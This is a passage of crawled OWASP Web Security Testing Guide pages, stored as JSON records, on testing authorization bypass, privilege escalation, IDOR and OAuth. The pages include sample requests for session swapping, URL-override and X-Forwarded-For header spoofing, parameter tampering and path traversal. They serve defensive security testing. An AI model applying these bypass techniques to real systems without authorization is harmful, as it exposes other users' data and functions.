"5d5a345a130476399f3ad6dcf8705095b5e3f4809f51597d05be6cb35f39ede9", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion", "https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal", "https://searchcode.com/", "https://github.com/wireghoul/dotdotpwn", "https://github.com/xmendez/wfuzz/blob/master/wordlist/Injections/Traversal.txt", "https://www.zaproxy.org/", "https://portswigger.net/", "https://www.gnu.org/software/grep/", "https://wiki.owasp.org/index.php/Category:OWASP_DirBuster_Project", "https://seclists.org/vulnwatch/2004/q4/33", "https://www.slideshare.net/BaronZor/windows-file-pseudonyms", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/02-Bypassing_Authorization_Schema", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/02-Bypassing_Authorization_Schema", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/02-Bypassing_Authorization_Schema", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "05-Authorization"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Bypassing Authorization Schema"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Basic Unauthenticated Access"}, {"uroven": 4, "text": "Using a Browser Manually"}, {"uroven": 4, "text": "Using Automation"}, {"uroven": 3, "text": "Horizontal Bypass"}, {"uroven": 3, "text": "Access to Administrative Functions"}, {"uroven": 3, "text": "Access to Resources Assigned to a Different Role"}, {"uroven": 4, "text": "4. Other Headers to Consider"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Bypassing Authorization Schema\n\n| ID |\n| --- |\n| WSTG-ATHZ-02 |\n\n## Summary\n\nThis test case focuses on identifying authorization weaknesses where an authenticated\nuser is able to access resources or perform actions beyond their assigned permissions,\nincluding horizontal and vertical privilege escalation.\n\nWhile some checks may include scenarios such as direct access to protected resources\nwithout an active session or after logout, the primary intent of this test is to\nvalidate that authorization controls are correctly enforced for authenticated users\nand roles.\n\nDetailed unauthenticated and post-authentication scenarios are covered in the\nHow to Test section.\n\n## Test Objectives\n\n- Assess if unauthenticated, horizontal, or vertical access is possible.\n\n## How to Test\n\n- Access resources and conduct operations without login. - Direct page request ( [forced browsing](https://owasp.org/www-community/attacks/Forced_browsing) )\n- Access resources and conduct operations horizontally.\n- Access resources and conduct operations vertically.\n\n### Basic Unauthenticated Access\n\n#### Using a Browser Manually\n\nWhen a web application does not properly enforce access control mechanisms, sensitive resources become exposed, allowing unauthenticated users to view them. For example, if a user directly requests a different page via forced browsing, that page may not check the authorization of the anonymous user before granting access. Attempt to directly access a protected page through the address bar in your browser to test using this method.\n\n*Figure 4.5.2-1: Direct Request to Protected Page*\n\n#### Using Automation\n\nThis process can be automated if you have a list of all endpoints with tools like ffuf, gobuster, ZAP, and Burp Suite Intruder.\n\nFor ZAP, using an add-on for [Access Control Testing](https://www.zaproxy.org/docs/desktop/addons/access-control-testing/) allows testers to determine which parts of the application are available to anonymous users, and identify potential access control issues.\n\nFor Burp Suite, built-in tools such as Intruder, and a number of plugins, including Autorize, help the tester automate testing authorization.\n\n### Horizontal Bypass\n\nFor every function, specific role, or request that the application executes, it is necessary to verify:\n\n- Is it possible to access resources that should be accessible to a user that holds a different identity with the same role or privilege?\n- Is it possible to operate functions on resources that should be accessible to a user that holds a different identity?\n\nFor each role:\n\n1. Register or generate two users with identical privileges.\n2. Establish and keep two different sessions active (one for each user).\n3. For every request, change the relevant parameters and the session identifier from token one to token two and diagnose the responses for each token.\n4. An application will be considered vulnerable if the responses are the same, contain same private data or indicate successful operation on other users’ resource or data.\n\nFor example, suppose that the `viewSettings` function is part of every account menu of the application with the same role, and it is possible to access it by requesting the following URL: `https://www.example.com/account/viewSettings`. Then, the following HTTP request is generated when calling the `viewSettings` function:\n\n```\nPOST /account/viewSettings HTTP/1.1 Host: www.example.com [other HTTP headers] Cookie: SessionID=USER_SESSION\n\nusername=example_user\n```\n\nValid and legitimate response:\n\n```\nHTTP1.1 200 OK\n[other HTTP headers]\n\n{\n \"username\": \"example_user\",\n \"email\": \"example@email.com\",\n \"address\": \"Example Address\"\n}\n```\n\nThe attacker may try and execute that request with the same `username` parameter:\n\n```\nPOST /account/viewCCpincode HTTP/1.1\nHost: www.example.com\n[other HTTP headers]\nCookie: SessionID=ATTACKER_SESSION\n\nusername=example_user\n```\n\nIf the attacker’s response contain the data of the `example_user`, then the application is vulnerable for lateral movement attacks, where a user can read or write other user’s data.\n\n### Access to Administrative Functions\n\nFor example, suppose that the `addUser` function is part of the administrative menu of the application, and it is possible to access it by requesting the following URL `https://www.example.com/admin/addUser`.\n\nThen, the following HTTP request is generated when calling the `addUser` function:\n\n```\nPOST /admin/addUser HTTP/1.1 Host: www.example.com [...]\n\nuserID=fakeuser&role=3&group=grp001\n```\n\nFurther questions or considerations would go in the following direction:\n\n- What happens if a non-administrative user tries to execute that request?\n- Will the user be created?\n- If so, can the new user use their privileges?\n\n### Access to Resources Assigned to a Different Role\n\nVarious applications setup resource controls based on user roles. Let’s take an example resumes or CVs (curriculum vitae) uploaded on a careers form to an S3 bucket.\n\nAs a normal user, try accessing the location of those files. If you are able to retrieve them, modify them, or delete them, then the application is vulnerable.\n\nSome applications support non-standard headers such as `X-Original-URL` or `X-Rewrite-URL` in order to allow overriding the target URL in requests with the one specified in the header value.\n\nThis behavior can be leveraged in a situation in which the application is behind a component that applies access control restriction based on the request URL.\n\nThe kind of access control restriction based on the request URL can be, for example, blocking access from internet to an administration console exposed on `/console` or `/admin`.\n\nTo detect the support for the header `X-Original-URL` or `X-Rewrite-URL`, the following steps can be applied.\n\n```\nGET / HTTP/1.1 Host: www.example.com [...] \n```\n\n```\nGET / HTTP/1.1\nHost: www.example.com\nX-Original-URL: /donotexist1\n[...]\n```\n\n```\nGET / HTTP/1.1\nHost: www.example.com\nX-Rewrite-URL: /donotexist2\n[...]\n```\n\nIf the response for either request contains markers that the resource was not found, this indicates that the application supports the special request headers. These markers may include the HTTP response status code 404, or a “resource not found” message in the response body.\n\nOnce the support for the header `X-Original-URL` or `X-Rewrite-URL` was validated then the tentative of bypass against the access control restriction can be leveraged by sending the expected request to the application but specifying a URL “allowed” by the frontend component as the main request URL and specifying the real target URL in the `X-Original-URL` or `X-Rewrite-URL` header depending on the one supported. If both are supported then try one after the other to verify for which header the bypass is effective.\n\n#### 4. Other Headers to Consider\n\nOften admin panels or administrative related bits of functionality are only accessible to clients on local networks, therefore it may be possible to abuse various proxy or forwarding related HTTP headers to gain access. Some headers and values to test with are:\n\n- Headers:\n - `X-Forwarded-For`\n - `X-Forward-For`\n - `X-Remote-IP`\n - `X-Originating-IP`\n - `X-Remote-Addr`\n - `X-Client-IP`\n- Values\n - `127.0.0.1` (or anything in the `127.0.0.0/8` or `::1/128` address spaces)\n - `localhost`\n - Any [RFC1918](https://tools.ietf.org/html/rfc1918) address:\n - `10.0.0.0/8`\n - `172.16.0.0/12`\n - `192.168.0.0/16`\n - Link local addresses: `169.254.0.0/16`\n\n> Note: Including a port element along with the address or hostname may also help bypass edge protections such as web application firewalls, etc.\n> For example: `127.0.0.4:80`, `127.0.0.4:443`, `127.0.0.4:43982`\n\n## Remediation\n\nEmploy the least privilege principles on the users, roles, and resources to ensure that no unauthorized access occurs.\n\n## Tools\n\n- [Zed Attack Proxy (ZAP)](https://www.zaproxy.org/)\n - [ZAP add-on: Access Control Testing](https://www.zaproxy.org/docs/desktop/addons/access-control-testing/)\n- [Port Swigger Burp Suite](https://portswigger.net/burp)\n - [Burp extension: AuthMatrix](https://github.com/SecurityInnovation/AuthMatrix/)\n - [Burp extension: Autorize](https://github.com/Quitten/Autorize)\n\n## References\n\n[OWASP Application Security Verification Standard 4.0.1](https://github.com/OWASP/ASVS/tree/master/4.0), v4.0.1-1, v4.0.1-4, v4.0.1-9, v4.0.1-16\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 8217, "slov": 1162, "odkazu": 208, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:34", "sha256": "d30dea4275c285cb826361acae08a22bd959a6c8d75ab4584201ee223ef8a039", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.zaproxy.org/docs/desktop/addons/access-control-testing/", "https://tools.ietf.org/html/rfc1918", "https://www.zaproxy.org/", "https://portswigger.net/burp", "https://github.com/SecurityInnovation/AuthMatrix/", "https://github.com/Quitten/Autorize", "https://github.com/OWASP/ASVS/tree/master/4.0", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/03-Privilege_Escalation", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/03-Privilege_Escalation", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/03-Privilege_Escalation", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "05-Authorization"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Privilege Escalation"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Role/Privilege Manipulation"}, {"uroven": 4, "text": "Manipulation of User Group"}, {"uroven": 4, "text": "Manipulation of User Profile"}, {"uroven": 4, "text": "Manipulation of Condition Value"}, {"uroven": 4, "text": "Manipulation of IP Address"}, {"uroven": 3, "text": "Vertical Bypass"}, {"uroven": 4, "text": "Banking Site Roles Scenario"}, {"uroven": 4, "text": "Administrator Page Access"}, {"uroven": 3, "text": "URL Traversal"}, {"uroven": 3, "text": "WhiteBox"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}, {"uroven": 2, "text": "Tools"}], "markdown": "# WSTG - Latest\n\n# Privilege Escalation\n\n| ID |\n| --- |\n| WSTG-ATHZ-03 |\n\n## Summary\n\nThis section describes the issue of escalating privileges from one stage to another. During this phase, the tester should verify that it is not possible for a user to modify their privileges or roles inside the application in ways that could allow privilege escalation attacks.\n\nPrivilege escalation occurs when a user gets access to more resources or functionality than they are normally allowed, and such elevation or changes should have been prevented by the application. This is usually caused by a flaw in the application. The result is that the application performs actions with more privileges than those intended by the developer or system administrator.\n\nThe degree of escalation depends on what privileges the attacker is authorized to possess, and what privileges can be obtained in a successful exploit. For example, a programming error that allows a user to gain extra privilege after successful authentication limits the degree of escalation, because the user is already authorized to hold some privilege. Likewise, a remote attacker gaining superuser privilege without any authentication presents a greater degree of escalation.\n\nUsually, people refer to *vertical escalation* when it is possible to access resources granted to more privileged accounts (e.g., acquiring administrative privileges for the application), and to *horizontal escalation* when it is possible to access resources granted to a similarly configured account (e.g., in an online banking application, accessing information related to a different user).\n\n## Test Objectives\n\n- Identify injection points related to privilege manipulation.\n- Fuzz or otherwise attempt to bypass security measures.\n\n## How to Test\n\n### Role/Privilege Manipulation\n\nIn every portion of the application where a user can create information in the database (e.g., making a payment, adding a contact, or sending a message), can receive information (statement of account, order details, etc.), or delete information (drop users, messages, etc.), it is necessary to record that functionality. The tester should try to access such functions as another user in order to verify if it is possible to access a function that should not be permitted by the user’s role/privilege (but might be permitted as another user).\n\n#### Manipulation of User Group\n\nFor example:\nThe following HTTP POST allows the user that belongs to `grp001` to access order #0001:\n\n```\nPOST /user/viewOrder.jsp HTTP/1.1 Host: www.example.com ...\n\ngroupID=grp001&orderID=0001\n```\n\nVerify if a user that does not belong to `grp001` can modify the value of the parameters `groupID` and `orderID` to gain access to that privileged data.\n\n#### Manipulation of User Profile\n\nFor example:\nThe following server’s answer shows a hidden field in the HTML returned to the user after a successful authentication.\n\n```\nHTTP/1.1 200 OK\nServer: Netscape-Enterprise/6.0\nDate: Wed, 1 Apr 2006 13:51:20 GMT\nSet-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp; path=/; domain=www.example.com\nSet-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz; path=/; domain= www.example.com\nCache-Control: no-cache\nPragma: No-cache\nContent-length: 247\nContent-Type: text/html\nExpires: Thu, 01 Jan 1970 00:00:00 GMT\nConnection: close\n\n
\\\n\n \n```\n\nWhat if the tester modifies the value of the variable `profile` to `SysAdmin`? Is it possible to become **administrator**?\n\n#### Manipulation of Condition Value\n\nFor example:\nIn an environment where the server sends an error message contained as a value in a specific parameter in a set of answer codes, as the following:\n\n```\n@0`1`3`3``0`UC`1`Status`OK`SEC`5`1`0`ResultSet`0`PVValid`-1`0`0` Notifications`0`0`3`Command Manager`0`0`0` StateToolsBar`0`0`0`\nStateExecToolBar`0`0`0`FlagsToolBar`0\n```\n\nThe server gives an implicit trust to the user. It believes that the user will answer with the above message closing the session.\n\nIn this condition, verify that it is not possible to escalate privileges by modifying the parameter values. In this particular example, by modifying the `PVValid` value from `-1` to `0` (no error conditions), it may be possible to authenticate as administrator to the server.\n\n#### Manipulation of IP Address\n\nSome sites limit access or count the number of failed login attempts based on IP address.\n\nFor example:\n\n```\nX-Forwarded-For: 8.1.1.1\n```\n\nIn this case, if the site uses the value of `X-forwarded-For` as client IP address, tester may change the IP value of the `X-forwarded-For` HTTP header to workaround the IP source identification.\n\n### Vertical Bypass\n\nA vertical authorization bypass is specific to the case that an attacker obtains a role higher than their own. Testing for this bypass focuses on verifying how the vertical authorization schema has been implemented for each role. For every function, page, specific role, or request that the application executes, it is necessary to verify if it is possible to:\n\n- Access resources that should be accessible only to a higher role user.\n- Operate functions on resources that should be operative only by a user that holds a higher or specific role identity.\n\nFor each role:\n\n1. Register a user.\n2. Establish and maintain two different sessions based on the two different roles.\n3. For every request, change the session identifier from the original to another role’s session identifier and evaluate the responses for each.\n4. An application will be considered vulnerable if the weaker privileged session contains the same data, or indicate successful operations on higher privileged functions.\n\n#### Banking Site Roles Scenario\n\nThe following table illustrates the system roles on a banking site. Each role binds with specific permissions for the event menu functionality:\n\n| ROLE | PERMISSION | ADDITIONAL PERMISSION |\n| --- | --- | --- |\n| Administrator | Full Control | Delete |\n| Manager | Modify, Add, Read | Add |\n| Staff | Read, Modify | Modify |\n| Customer | Read Only | |\n\nThe application will be considered vulnerable if the:\n\n1. Customer could operate administrator, manager or staff functions;\n2. Staff user could operate manager or administrator functions;\n3. Manager could operate administrator functions.\n\nSuppose that the `deleteEvent` function is part of the administrator account menu of the application, and it is possible to access it by requesting the following URL: `https://www.example.com/account/deleteEvent`. Then, the following HTTP request is generated when calling the `deleteEvent` function:\n\n```\nPOST /account/deleteEvent HTTP/1.1 Host: www.example.com [other HTTP headers] Cookie: SessionID=ADMINISTRATOR_USER_SESSION\n\nEventID=1000001\n```\n\nThe valid response:\n\n```\nHTTP/1.1 200 OK [other HTTP headers]\n\n{\"message\": \"Event was deleted\"}\n```\n\nThe attacker may try and execute the same request:\n\n```\nPOST /account/deleteEvent HTTP/1.1 Host: www.example.com [other HTTP headers] Cookie: SessionID=CUSTOMER_USER_SESSION\n\nEventID=1000002\n```\n\nIf the response of the attacker’s request contains the same data `{\"message\": \"Event was deleted\"}` the application is vulnerable.\n\n#### Administrator Page Access\n\nSuppose that the administrator menu is part of the administrator account.\n\nThe application will be considered vulnerable if any role other than administrator could access the administrator menu. Sometimes, developers perform authorization validation at the GUI level only, and leave the functions without authorization validation, thus potentially resulting in a vulnerability.\n\n### URL Traversal\n\nTry to traverse the site and check if some of pages that may miss the authorization check.\n\nFor example:\n\n```\n/../.././userInfo.html\n```\n\n### WhiteBox\n\nIf the URL authorization check is only done by partial URL match, then it’s likely testers or hackers may workaround the authorization by URL encoding techniques.\n\nFor example:\n\n```\nstartswith(), endswith(), contains(), indexOf()\n```\n\n## References\n\n### Whitepapers\n\n- [Wikipedia - Privilege Escalation](https://en.wikipedia.org/wiki/Privilege_escalation)\n\n## Tools\n\n- [Zed Attack Proxy (ZAP)](https://www.zaproxy.org)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 8091, "slov": 1174, "odkazu": 202, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:35", "sha256": "478ffae9e4c795ed4675fe770e778d36c48cf8bf248b61d2c2d5717d51471703", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/Privilege_escalation", "https://www.zaproxy.org/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/04-Insecure_Direct_Object_References", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/04-Insecure_Direct_Object_References", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/04-Insecure_Direct_Object_References", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "05-Authorization"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Insecure Direct Object References"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "The Value of a Parameter Is Used Directly to Retrieve a Database Record"}, {"uroven": 3, "text": "The Value of a Parameter Is Used Directly to Perform an Operation in the System"}, {"uroven": 3, "text": "The Value of a Parameter Is Used Directly to Retrieve a File System Resource"}, {"uroven": 3, "text": "The Value of a Parameter Is Used Directly to Access Application Functionality"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Insecure Direct Object References\n\n| ID |\n| --- |\n| WSTG-ATHZ-04 |\n\n## Summary\n\nInsecure Direct Object References (IDOR) occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for example database records or files.\nInsecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object. Such resources can be database entries belonging to other users, files in the system, and more. This is caused by the fact that the application takes user supplied input and uses it to retrieve an object without performing sufficient authorization checks.\n\n## Test Objectives\n\n- Identify points where object references may occur.\n- Assess the access control measures and if they’re vulnerable to IDOR.\n\n## How to Test\n\nTo test for this vulnerability the tester first needs to map out all locations in the application where user input is used to reference objects directly. For example, locations where user input is used to access a database row, a file, application pages and more. Next the tester should modify the value of the parameter used to reference objects and assess whether it is possible to retrieve objects belonging to other users or otherwise bypass authorization.\n\nThe best way to test for direct object references would be by having at least two (often more) users to cover different owned objects and functions. For example two users each having access to different objects (such as purchase information, private messages, etc.), and (if relevant) users with different privileges (for example administrator users) to see whether there are direct references to application functionality. By having multiple users the tester saves valuable testing time in guessing different object names as he can attempt to access objects that belong to the other user.\n\nBelow are several typical scenarios for this vulnerability and the methods to test for each:\n\n### The Value of a Parameter Is Used Directly to Retrieve a Database Record\n\nSample request:\n\n```\nhttps://foo.bar/somepage?invoice=12345\n```\n\nIn this case, the value of the *invoice* parameter is used as an index in an invoices table in the database. The application takes the value of this parameter and uses it in a query to the database. The application then returns the invoice information to the user.\n\nSince the value of *invoice* goes directly into the query, by modifying the value of the parameter it is possible to retrieve any invoice object, regardless of the user to whom the invoice belongs. To test for this case the tester should obtain the identifier of an invoice belonging to a different test user (ensuring he is not supposed to view this information per application business logic), and then check whether it is possible to access objects without authorization.\n\n### The Value of a Parameter Is Used Directly to Perform an Operation in the System\n\nSample request:\n\n```\nhttps://foo.bar/changepassword?user=someuser\n```\n\nIn this case, the value of the `user` parameter is used to tell the application for which user it should change the password. In many cases this step will be a part of a wizard, or a multi-step operation. In the first step the application will get a request stating for which user’s password is to be changed, and in the next step the user will provide a new password (without asking for the current one).\n\nThe `user` parameter is used to directly reference the object of the user for whom the password change operation will be performed. To test for this case the tester should attempt to provide a different test username than the one currently logged in, and check whether it is possible to modify the password of another user.\n\n### The Value of a Parameter Is Used Directly to Retrieve a File System Resource\n\nSample request:\n\n```\nhttps://foo.bar/showImage?img=img00011\n```\n\nIn this case, the value of the `file` parameter is used to tell the application what file the user intends to retrieve. By providing the name or identifier of a different file (for example file=image00012.jpg) the attacker will be able to retrieve objects belonging to other users.\n\nTo test for this case, the tester should obtain a reference the user is not supposed to be able to access and attempt to access it by using it as the value of `file` parameter. Note: This vulnerability is often exploited in conjunction with a directory/path traversal vulnerability (see [Path Traversal](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/01-Directory_Traversal_File_Include))\n\n### The Value of a Parameter Is Used Directly to Access Application Functionality\n\nSample request:\n\n```\nhttps://foo.bar/accessPage?menuitem=12\n```\n\nIn this case, the value of the `menuitem` parameter is used to tell the application which menu item (and therefore which application functionality) the user is attempting to access. Assume the user is supposed to be restricted and therefore has links available only to access to menu items 1, 2 and 3. By modifying the value of `menuitem` parameter it is possible to bypass authorization and access additional application functionality. To test for this case the tester identifies a location where application functionality is determined by reference to a menu item, maps the values of menu items the given test user can access, and then attempts other menu items.\n\nIn the above examples the modification of a single parameter is sufficient. However, sometimes the object reference may be split between more than one parameter, and testing should be adjusted accordingly.\n\n## References\n\n[A01:2025 Broken Access Control](https://owasp.org/Top10/2025/A01_2025-Broken_Access_Control/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5893, "slov": 907, "odkazu": 201, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:36", "sha256": "889f7df5a79cfa7c644698451106134e6649b3aacfdac412dadfa267cd3c495d", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/05-OAuth_Weaknesses", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/05-OAuth_Weaknesses", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/05-OAuth_Weaknesses", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "05-Authorization"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "OAuth Weaknesses"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Deprecated Grant Types"}, {"uroven": 4, "text": "Public Clients"}, {"uroven": 4, "text": "Confidential Clients"}, {"uroven": 5, "text": "Machine-to-Machine"}, {"uroven": 3, "text": "Credential Leakage"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# OAuth Weaknesses\n\n| ID |\n| --- |\n| WSTG-ATHZ-05 |\n\n## Summary\n\n[OAuth2.0](https://oauth.net/2/) (hereinafter referred to as OAuth) is an authorization framework that allows a client to access resources on the behalf of its user.\n\nIn order to achieve this, OAuth heavily relies on tokens to communicate between the different entities, each entity having a different [role](https://datatracker.ietf.org/doc/html/rfc6749#section-1.1):\n\n- **Resource Owner:** The entity who grants access to a resource, the owner, and in most cases is the user themselves\n- **Client:** The application that is requesting access to a resource on behalf of the Resource Owner. These clients come in two [types](https://oauth.net/2/client-types/) :\n - **Public:** clients that can’t protect a secret ( *e.g.* frontend focused applications, such as SPAs, mobile applications, etc.)\n - **Confidential:** clients that are able to securely authenticate with the authorization server by keeping their registered secrets safe ( *e.g.* backend services)\n- **Authorization Server:** The server that holds authorization information and grants the access\n- **Resource Server:** The application that serves the content accessed by the client\n\nSince OAuth’s responsibility is to delegate access rights by the owner to the client, this is a very attractive target for attackers, and bad implementations lead to unauthorized access to the users’ resources and information.\n\nIn order to provide access to a client application, OAuth relies on several [authorization grant types](https://oauth.net/2/grant-types/) to generate an access token:\n\n- [Authorization Code](https://oauth.net/2/grant-types/authorization-code/) : used by both confidential and public clients to exchange an authorization code for an access token, but recommended only for confidential clients\n- [Proof Key for Code Exchange (PKCE)](https://oauth.net/2/pkce/) : PKCE builds on top of the Authorization Code grant, providing stronger security for it to be used by public clients, and improving the posture of confidential ones\n- [Client Credentials](https://oauth.net/2/grant-types/client-credentials/) : used for machine to machine communication, where the “user” here is the machine requesting access to its own resources from the Resource Server\n- [Device Code](https://oauth.net/2/grant-types/device-code/) : used for devices with limited input capabilities.\n- [Refresh Token](https://oauth.net/2/grant-types/refresh-token/) : tokens provided by the authorization server to allow clients to refresh users’ access tokens once they become invalid or expire. This grant type is used in conjunction with one other grant type.\n\nTwo flows will be deprecated in the release of [OAuth2.1](https://oauth.net/2.1/), and their usage is not recommended:\n\n- [Implicit Flow*](https://oauth.net/2/grant-types/implicit/) : PKCE’s secure implementation renders this flow obsolete. Prior to PKCE, the implicit flow was used by client-side applications such as [single page applications](https://en.wikipedia.org/wiki/Single-page_application) since [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) relaxed the [same-origin policy](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy) for sites to inter-communicate. For more information on why the implicit grant is not recommended, review this [section](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics#section-2.1.2) .\n- [Resource Owner Password Credentials](https://oauth.net/2/grant-types/password/) :used to exchange users’ credentials directly with the client, which then sends them to the authorization to exchange them for an access token. For information on why this flow is not recommended, review this [section](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics#section-2.4) .\n\n*: The implicit flow in OAuth only is deprecated, yet is still a viable solution within Open ID Connect 